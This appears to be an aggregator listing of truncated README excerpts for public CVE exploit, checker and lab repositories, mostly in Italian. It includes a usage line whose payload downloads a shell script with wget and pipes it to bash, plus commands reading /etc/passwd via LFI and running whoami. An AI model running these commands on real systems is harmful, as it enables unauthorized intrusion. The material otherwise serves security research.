cve-2014-7920-7921_update

cve-2014-7920-7921 Codice exploit per CVE-2014-7920 e CVE-2014-7921 - code-exec in mediaserver fino ad Android 5.1 I simboli in questo exploit sono per Android 4.3, ma possono essere adattati a qualsiasi versione fino ad Android 5.1...

CVE-2019-11043-Docker

Un'immagine Docker con una versione vulnerabile di PHP-FPM CVE-2019-11043 e nginx. Esecuzione docker run --rm -p8080:80 akamajoris/cve-2019-11043 Dovresti poter accedere all'applicazione web all'indirizzo http://your-ip:8080/. Sfruttamento Compila un binario da...

CVE-2025-32023

CVE-2025-32023 Esecuzione di codice remoto nelle operazioni HyperLogLog di Redis Riepilogo della vulnerabilità CVE-2025-32023 è una vulnerabilità di esecuzione di codice remoto RCE nel database Redis, che interessa specificamente la gestione delle operazioni della struttura dati HyperLogLog. Ques...

CVE-2020-23584

CVE-2020-23584 OPTILINK E-PON "MODEL NO: OP-XT71000N" con "HARDWARE VERSION: V2.2"; e "FIRMWARE VERSION: OPV3.3.1-191028" Esecuzione di codice remoto non autenticata su "OPTILINK OP-XT71000N, Hardware Version: V2.2". Il problema si verifica quando l'attaccante passa comandi arbitrari con un...

CVE-2023-42789

CVE-2023-42789 Controllo di vulnerabilità Installazione Per utilizzare questo controllo di vulnerabilità, assicurati di avere Python3 e la libreria colorama installati. pip3 install colorama python3 check.py IP PORT Descrizione CVE-2023-42789 è una vulnerabilità di scrittura fuori dai limiti che...

CVE-2024-22198_Checker

CVE-2024-22198 - esecuzione remota di codice autenticata in Nginx-ui Descrizione Questo strumento è stato creato per controllare da remoto la versione di Nginx-ui e notificare se è vulnerabile a CVE-2024-22198. Nginx-UI è un'interfaccia web per gestire le configurazioni di Nginx. È vulnerabile...

CVE-2024-42448-RCE

CVE-2024-42448-RCE Veeam Service Provider Console VSPC esecuzione di codice remoto. Link di download qui Dettagli: è una vulnerabilità critica identificata nel Veeam Service Provider Console VSPC con un punteggio CVSS di 9.9. Questa vulnerabilità consente l'esecuzione di codice remoto RCE...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC per lo sfruttamento della vulnerabilità CVE-2019-10149 Esempio di utilizzo python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2024-3273-D-Link-Remote-Code-Execution-RCE

CVE-2024-3273 - Exploit per Esecuzione di Codice Remoto RCE su D-Link Descrizione Questo repository contiene un exploit per CVE-2024-3273 , una vulnerabilità critica trovata in specifici dispositivi D-Link che consente l'esecuzione di codice remoto RCE. La vulnerabilità deriva da una convalida...

cve-2021-42013-httpd

Dockerizzazione di una Vulnerabilità: cve-2021-42013 Questo progetto mira a dockerizzare una vulnerabilità specifica utilizzando Docker. L'obiettivo è creare un ambiente isolato nel quale la vulnerabilità possa essere sfruttata e testata in modo sicuro. Applicazione vulnerabile Apache HTTP Server...

CVE-2022-26134

pip3 install -r requirements.txt uso: python3 exp.py url "cmd" esempio: python3 exp.py http://192.168.1.1/ whoami...

CVE-2025-59287

In questo studio, esamineremo una vulnerabilità critica CVE-2025-59287 scoperta nell'ambiente Microsoft Windows Server Update Services WSUS. Questa vulnerabilità deriva dalla deserializzazione non sicura degli oggetti AuthorizationCookie inviati all'endpoint GetCookie, dove i dati dei cookie...

CVE-2025-3248

CVE-2025-3248 – Esegui codice Python arbitrario sul server Langflow vulnerabile. Scoperto da: Naveen Sunkavally, Horizon3.ai Stato: Divulgazione pubblica Data segnalazione: 2025-04-07 ID CVE: CVE-2025-3248 🧾 Screenshot 🧩 Riepilogo È stata scoperta una vulnerabilità critica in Langflow che consent...

CVE-2025-29602

CVE-2025-29602 - Vulnerabilidades de cross-site scripting XSS armazenado no FlatPress CMS 1.3.1 Descrição Existe uma vulnerabilidade de Cross-Site Scripting XSS armazenado no painel de administração do Flatpress CMS 1.3.1. Um atacante com privilégios de administrador pode injetar uma carga...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE Uno script python3 per CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE richiede che cgi-bin sia abilitato Per Iniziare Esecuzione del programma LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t...

CVE-2024-38063

CVE-2024-38063 Vulnerabilità di Windows che consente l'implementazione di attività non autorizzate sulla rete: esecuzione remota di codice remoto TCP/IP di Windows. Due macchine virtuali - una vittima e un attaccante - sono pronte per simulare l'attacco. Sulla macchina vittima è stato utilizzato...

CVE-2009-2265

CVE-2009-2265 - RCE tramite Upload di File su Adobe ColdFusion 8 Un'implementazione in Rust del POC per l'exploit CVE-2009-2265, mirato ad Adobe ColdFusion 8. Panoramica della Vulnerabilità Questa vulnerabilità consente a un utente malintenzionato non autenticato di caricare file arbitrari in una...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Dieses Repository enthält einen Proof of Concept für die Sicherheitslücke CVE-2023-50564 in Pluck CMS Version 4.7.18 Beschreibung CVE-2023-50564 ist eine Sicherheitslücke, die unbefugte Datei-Uploads in Pluck CMS Version 4.7.18 ermöglicht. Dieser Exploit nutzt einen Fehler in d...

CVE-2019-3396

CVE-2019-3396 CVE-2019-3396 confluence SSTI RCE 🔎 Cos'è CVE-2019-3396? Un bug critico di Confluence Atlassian. Tipo: Template Injection + Path Traversal. Rischio: Remote Code Execution RCE senza login. Stato: Sfruttato attivamente. 🛑 Versioni Affette 6.6.0 → 6.6.11 ❌ vulnerabile 6.6.12 ✅ corretto...

Exploit-CVE-2024-26503

Strumento di Exploit RCE per Open eClass Questo strumento è progettato per sfruttare una vulnerabilità nota CVE-2024-26503 nelle piattaforme Open eClass, consentendo l'esecuzione remota di codice RCE attraverso un difetto di upload di file senza restrizioni. La vulnerabilità permette agli...